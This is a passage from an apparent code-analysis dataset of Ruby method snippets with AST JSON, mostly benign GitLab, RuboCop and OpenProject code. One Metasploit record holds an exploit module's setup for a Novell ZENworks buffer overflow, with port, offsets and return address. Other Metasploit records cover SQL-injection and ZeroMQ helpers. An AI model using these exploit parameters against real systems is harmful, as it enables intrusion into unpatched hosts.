.user-memberships--edit-button\"]}]}]},\"click\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"within\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#member-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"membership\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"-roles-form\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"all\",{\"type\":\"str\",\"children\":[\".form--check-box\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"set\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Selenium\"]},\"WebDriver\"]},\"Error\"]},\"InvalidElementStateError\"]}]},null,null]},null]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"roles\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"role\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"check\",{\"type\":\"lvar\",\"children\":[\"role\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\".user-memberships--edit-submit-button\"]}]},\"click\"]}]}]}]}]}","id":"8b8052ca-9d60-475a-9a31-a0dd1c05c032"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/sqli/postgresqli/common.rb","start_line":250,"raw_source":"def check_opts(opts)\n      unless opts[:encoder].nil? || opts[:encoder].is_a?(Hash) || ENCODERS[opts[:encoder].downcase.intern]\n        raise ArgumentError, 'Unsupported encoder'\n      end\n\n      super\n    end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check_opts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"encoder\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"encoder\"]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENCODERS\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"encoder\"]}]},\"downcase\"]},\"intern\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Unsupported encoder\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"b7c7588a-ef9e-4606-b1d7-bfe4408967e9"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/method_call_with_args_parentheses/omit_parentheses.rb","start_line":137,"raw_source":"def call_with_ambiguous_arguments?(node)\n            call_with_braced_block?(node) ||\n              call_in_argument_with_block?(node) ||\n              call_as_argument_or_chain?(node) ||\n              call_in_match_pattern?(node) ||\n              hash_literal_in_arguments?(node) ||\n              ambiguous_range_argument?(node) ||\n              node.descendants.any? do |n|\n                n.type?(:forwarded_args, :any_block) ||\n                  ambiguous_literal?(n) || logical_operator?(n)\n              end\n          end","complexity_score":29.7,"ast_json":"{\"type\":\"def\",\"children\":[\"call_with_ambiguous_arguments?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"call_with_braced_block?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"call_in_argument_with_block?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"send\",\"children\":[null,\"call_as_argument_or_chain?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"send\",\"children\":[null,\"call_in_match_pattern?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"send\",\"children\":[null,\"hash_literal_in_arguments?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"send\",\"children\":[null,\"ambiguous_range_argument?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"descendants\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"type?\",{\"type\":\"sym\",\"children\":[\"forwarded_args\"]},{\"type\":\"sym\",\"children\":[\"any_block\"]}]},{\"type\":\"send\",\"children\":[null,\"ambiguous_literal?\",{\"type\":\"lvar\",\"children\":[\"n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"logical_operator?\",{\"type\":\"lvar\",\"children\":[\"n\"]}]}]}]}]}]}","id":"bb7860d4-241b-474e-a71f-2bf21e314e15"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/container_registry/tag.rb","start_line":64,"raw_source":"def [](key)\n      return unless manifest\n\n      manifest[key]\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"[]\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"manifest\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"manifest\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}","id":"a9a60263-7d09-494c-8811-9aaafac09eb7"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_config.rb","start_line":492,"raw_source":"def test_run_hooks_after_worker_fork\n    assert_run_hooks :after_worker_fork\n\n    assert_raise_on_hooks_without_block :after_worker_fork\n    assert_warning_for_hooks_defined_in_single_mode :after_worker_fork\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_run_hooks_after_worker_fork\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_run_hooks\",{\"type\":\"sym\",\"children\":[\"after_worker_fork\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_raise_on_hooks_without_block\",{\"type\":\"sym\",\"children\":[\"after_worker_fork\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_warning_for_hooks_defined_in_single_mode\",{\"type\":\"sym\",\"children\":[\"after_worker_fork\"]}]}]}]}","id":"a3cb8deb-ef36-4878-8135-21d518dc7dc2"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/visibility_help.rb","start_line":48,"raw_source":"def find_visibility_end(node)\n        possible_visibilities = VISIBILITY_SCOPES - ::Set[node_visibility(node)]\n        right = node.right_siblings\n        right.find do |child_node|\n          possible_visibilities.include?(node_visibility(child_node))\n        end || right.last\n      end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"find_visibility_end\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"possible_visibilities\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VISIBILITY_SCOPES\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Set\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"node_visibility\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"right\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"right_siblings\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"right\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child_node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"possible_visibilities\"]},\"include?\",{\"type\":\"send\",\"children\":[null,\"node_visibility\",{\"type\":\"lvar\",\"children\":[\"child_node\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"right\"]},\"last\"]}]}]}]}","id":"34a508f9-b65e-424e-8752-60235d9d65a9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Novell ZENworks Configuration Management Preboot Service 0x21 Buffer Overflow',\n        'Description' => %q{\n          This module exploits a remote buffer overflow in the ZENworks Configuration\n          Management 10 SP2. The vulnerability exists in the Preboot service and can be\n          triggered by sending a specially crafted packet with the opcode 0x21\n          (PROXY_CMD_FTP_FILE) to port 998/TCP. The module has been successfully tested on\n          Novell ZENworks Configuration Management 10 SP2 and Windows Server 2003 SP2\n          (DEP bypass).\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Stephen Fewer', # Vulnerability Discovery\n          'juan vazquez' # Metasploit module\n        ],\n        'References' => [\n          [ 'CVE', '2012-2215' ],\n          [ 'OSVDB', '65361' ],\n          [ 'BID', '40486' ],\n          [ 'ZDI', '10-090' ],\n          [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7005572' ],\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process'\n        },\n        'Payload' => {\n          'BadChars' => \"\",\n          'Space' => 8138,\n          'DisableNops' => true,\n          'PrependEncoder' => \"\\x81\\xC4\\x54\\xF2\\xFF\\xFF\" # add esp, -3500\n        },\n        'Platform' => ['win'],\n        'Targets' => [\n          [\n            'Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2',\n            {\n              'Offset' => 8252,\n              'OffsetBottomStack' => 8288,\n              'OffsetRop' => 44,\n              'Ret' => 0x0040175a # add esp, 0x408 # ret - novell_pbserv.exe\n            }\n          ]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2010-03-30',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([Opt::RPORT(998)])\n  end","complexity_score":7.05,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[998]}]}]}]}]}","id":"da14c573-cb64-42d6-921f-b4902057c509"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/projects/filters/project_phase_gate_filter.rb","start_line":105,"raw_source":"def project_phase_scope_limit(scope)\n    super\n      .joins(:definition)\n      .where(project_phase_definitions: {\n               id: project_phase_definition.id,\n               \"#{project_phase_gate}_gate\" => true\n             })\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"project_phase_scope_limit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"joins\",{\"type\":\"sym\",\"children\":[\"definition\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_phase_definitions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_phase_definition\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_phase_gate\"]}]},{\"type\":\"str\",\"children\":[\"_gate\"]}]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"84eaa39b-a748-4da0-b937-63ca91ca1274"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/controllers/map_controller.rb","start_line":30,"raw_source":"def extract_track_ids\n    @coordinates.map { |coord| coord[8]&.to_i }.compact.uniq.reject(&:zero?)\n  end","complexity_score":12.25,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_track_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@coordinates\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"coord\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coord\"]},\"[]\",{\"type\":\"int\",\"children\":[8]}]},\"to_i\"]}]},\"compact\"]},\"uniq\"]},\"reject\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"zero?\"]}]}]}]}","id":"af3d2eec-93d5-4303-b979-975f9f3de086"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/mattermost_helper.rb","start_line":4,"raw_source":"def mattermost_teams_options(teams)\n    teams.map do |team|\n      [team['display_name'] || team['name'], team['id']]\n    end\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"mattermost_teams_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"teams\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"teams\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"team\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"team\"]},\"[]\",{\"type\":\"str\",\"children\":[\"display_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"team\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"team\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]}]}","id":"6cd7cc4f-9cab-4ca1-a38c-d4e80460ea96"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/zeromq.rb","start_line":120,"raw_source":"def zmq_send_message(msg = '')\n    # 0x02 indicates a 64-bit message length\n    sock.put(\n      \"\\x01\\x00\" \\\n      \"\\x02#{[msg.length].pack('Q>')}#{msg}\"\n    )\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"zmq_send_message\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"msg\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0001\\u0000\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0002\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"Q>\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}]}]}","id":"3e1f7c85-783b-40d1-b5d6-b1036799ef03"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/system_check/app/table_truncate_check.rb","start_line":23,"raw_source":"def show_error\n        try_fixing_it(\n          sudo_gitlab(\"bundle exec rake #{@rake_tasks.join(' ')}\")\n        )\n        for_more_information(\n          \"doc/development/database/multiple_databases.md in section 'Truncating tables'\"\n        )\n        fix_and_rerun\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"show_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"try_fixing_it\",{\"type\":\"send\",\"children\":[null,\"sudo_gitlab\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"bundle exec rake \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rake_tasks\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"for_more_information\",{\"type\":\"str\",\"children\":[\"doc/development/database/multiple_databases.md in section 'Truncating tables'\"]}]},{\"type\":\"send\",\"children\":[null,\"fix_and_rerun\"]}]}]}","id":"563ce3ff-41d8-45ac-9feb-da194f040daf"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/post_creator.rb","start_line":391,"raw_source":"def transaction(&blk)\n    if new_topic?\n      Post.transaction { blk.call }\n    else\n      # we need to ensure post_number is monotonically increasing with no gaps\n      # so we serialize creation to avoid needing rollbacks\n      DistributedMutex.synchronize(\"topic_id_#{@opts[:topic_id]}\") { Post.transaction { blk.call } }\n    end\n  end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"transaction\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_topic?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blk\"]},\"call\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DistributedMutex\"]},\"synchronize\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"topic_id_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"topic_id\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blk\"]},\"call\"]}]}]}]}]}","id":"1b02ad7d-2709-4ad6-8eb7-e6c19b48e88a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/team_planner/spec/support/pages/team_planner.rb","start_line":354,"raw_source":"def y_center(element)\n      element.native.location.y + (element.native.size.height / 2)\n    end","complexity_score":11.55,"ast_json":"{\"type\":\"def\",\"children\":[\"y_center\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"native\"]},\"location\"]},\"y\"]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"native\"]},\"size\"]},\"height\"]},\"/\",{\"type\":\"int\",\"children\":[2]}]}]}]}]}","id":"ac7a302d-74a1-44d8-a5b3-917df190f050"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/services/captain/assistant/agent_runner_service.rb","start_line":102,"raw_source":"def build_state\n    state = {\n      account_id: @assistant.account_id,\n      assistant_id: @assistant.id,\n      assistant_config: @assistant.config\n    }\n\n    if @conversation\n      state[:conversation] = @conversation.attributes.symbolize_keys.slice(*CONVERSATION_STATE_ATTRIBUTES)\n      state[:contact] = @conversation.contact.attributes.symbolize_keys.slice(*CONTACT_STATE_ATTRIBUTES) if @conversation.contact\n    end\n\n    state\n  end","complexity_score":20.5,"ast_json":"{\"type\":\"def\",\"children\":[\"build_state\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"state\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@assistant\"]},\"account_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"assistant_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@assistant\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"assistant_config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@assistant\"]},\"config\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversation\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"conversation\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversation\"]},\"attributes\"]},\"symbolize_keys\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CONVERSATION_STATE_ATTRIBUTES\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversation\"]},\"contact\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"contact\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversation\"]},\"contact\"]},\"attributes\"]},\"symbolize_keys\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CONTACT_STATE_ATTRIBUTES\"]}]}]}]},null]}]},null]},{\"type\":\"lvar\",\"children\":[\"state\"]}]}]}","id":"6f5569f0-9863-4ada-a7b1-f79b6f34194a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":2572,"raw_source":"def execute_merge_checks(checks, params: {}, execute_all: false)\n    # rubocop: disable CodeReuse/ServiceClass\n    MergeRequests::Mergeability::RunChecksService\n      .new(merge_request: self, params: params)\n      .execute(checks, execute_all: execute_all)\n    # rubocop: enable CodeReuse/ServiceClass\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_merge_checks\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"checks\"]},{\"type\":\"kwoptarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"execute_all\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequests\"]},\"Mergeability\"]},\"RunChecksService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_request\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]},\"execute\",{\"type\":\"lvar\",\"children\":[\"checks\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"execute_all\"]},{\"type\":\"lvar\",\"children\":[\"execute_all\"]}]}]}]}]}","id":"d9d386b0-eeff-4d51-89e5-bc0b7ecc6f9a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/spec/runtime/script_extensions/interceptor_spec.rb","start_line":81,"raw_source":"def check_cache\n    browser.execute_script <<~JS\n      return Interceptor.checkCache()\n    JS\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"browser\"]},\"execute_script\",{\"type\":\"str\",\"children\":[\"return Interceptor.checkCache()\\n\"]}]}]}","id":"a4c99e81-ffda-42f3-aaef-393d9843f0d5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250303065514_add_duo_workflow_to_ai_settings.rb","start_line":8,"raw_source":"def up\n    with_lock_retries do\n      add_column :ai_settings, :duo_workflow_service_account_user_id, :bigint, if_not_exists: true\n      add_column :ai_settings, :duo_workflow_oauth_application_id, :bigint, if_not_exists: true\n    end\n\n    add_concurrent_index :ai_settings, :duo_workflow_service_account_user_id\n    add_concurrent_foreign_key :ai_settings,\n      :users,\n      column: :duo_workflow_service_account_user_id,\n      on_delete: :nullify\n    add_concurrent_index :ai_settings, :duo_workflow_oauth_application_id\n    add_concurrent_foreign_key :ai_settings,\n      :oauth_applications,\n      column: :duo_workflow_oauth_application_id,\n      on_delete: :nullify\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"ai_settings\"]},{\"type\":\"sym\",\"children\":[\"duo_workflow_service_account_user_id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"ai_settings\"]},{\"type\":\"sym\",\"children\":[\"duo_workflow_oauth_application_id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"sym\",\"children\":[\"ai_settings\"]},{\"type\":\"sym\",\"children\":[\"duo_workflow_service_account_user_id\"]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_foreign_key\",{\"type\":\"sym\",\"children\":[\"ai_settings\"]},{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"duo_workflow_service_account_user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"nullify\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"sym\",\"children\":[\"ai_settings\"]},{\"type\":\"sym\",\"children\":[\"duo_workflow_oauth_application_id\"]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_foreign_key\",{\"type\":\"sym\",\"children\":[\"ai_settings\"]},{\"type